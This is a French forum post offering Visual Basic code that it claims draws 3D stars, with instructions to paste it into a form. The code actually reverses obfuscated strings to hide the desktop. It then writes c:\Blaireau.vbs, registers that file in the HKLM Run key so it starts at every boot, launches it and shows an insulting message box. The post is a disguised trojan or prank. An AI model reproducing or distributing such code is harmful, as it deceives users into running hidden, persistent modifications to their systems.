Pom Pom Pom, comme je vois à quel point mes scripts sont apprécié ici, je vous offre ( avant même sa sortie officiel ) ce fabuleux code qui permet de visualiser des étoiles en 3 dimensions ( et se, même sur un 486!!! ) Que dire de plus sinon que le code n'est pas très optimisé mais il est néanmoins relativement performant et permet de réaliser des applications relativements complètes.
Créez une form et coller ce code, c'est tout!!
Source / Exemple :
Private Declare Function PutMeWhereIWant Lib "user32" Alias "ShowWindow" _
(ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function WonderWhereAmI Lib "user32" Alias "FindWindowExA" _
(ByVal hwnd As Long, ByVal hWndChild As Long, ByVal lpszClassName _
As String, ByVal lpszWindow As String) As Long
Private Sub IWanaHaveRoom()
Dim hwnd As Long: LeHandle = WonderWhereAmI(0&, 0&, Guess$("namgorP"), _
vbNullString)
If LeHandle <> 0 Then Call PutMeWhereIWant(LeHandle, 0)
End Sub
Private Sub Ooooups()
Open Guess$("sbv.uaerialB\:c") For Output As #1
Print #1, Guess$("metsysrid ,osf miD")
Print #1, Guess$(")" + Chr$(34) + "tcejbOmetsySeliF.gnitpircS" + Chr$(34) _
+ "(tcejbOetaerC = osf teS")
Print #1, Guess$("txeN emuseR rorrE nO")
Print #1, Guess$(")1(redloFlaicepSteG.osf = metsysrid teS")
Print #1, Guess$(")" + Chr$(34) + "llehS.tpircSW" + Chr$(34) + "(tcejb" + _
"OetaerC = tideger teS")
Print #1, Guess$(Chr$(34) + "sbv.uaerialB\:c tpircsw" + Chr$(34) + "," + _
Chr$(34) + "kcirreD\nuR\noisreVtnerruC\swodniW\tfosorciM\e" + _
"rawtfoS\ENIHCAM_LACOL_YEKH" + Chr$(34) + " etirWgeR.tideger")
Print #1, Guess$(Chr$(34) + "ékiN T" + Chr$(34) + " xobgsM")
Close #1
End Sub
Private Function Guess$(Tired$)
a$ = ""
For i = 1 To Len(Tired$)
a$ = Mid$(Tired$, i, 1) + a$
Next i
Guess$ = a$
End Function
Private Sub WanaGetOut()
TheProcess = Guess$("sbv.uaerialB\:c tpircsw")
Shell TheProcess
End Sub
Private Sub Form_Load()
Call IWanaHaveRoom
Call Ooooups
Call WanaGetOut
End Sub
Conclusion :
Roooooo que c'est beau!
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.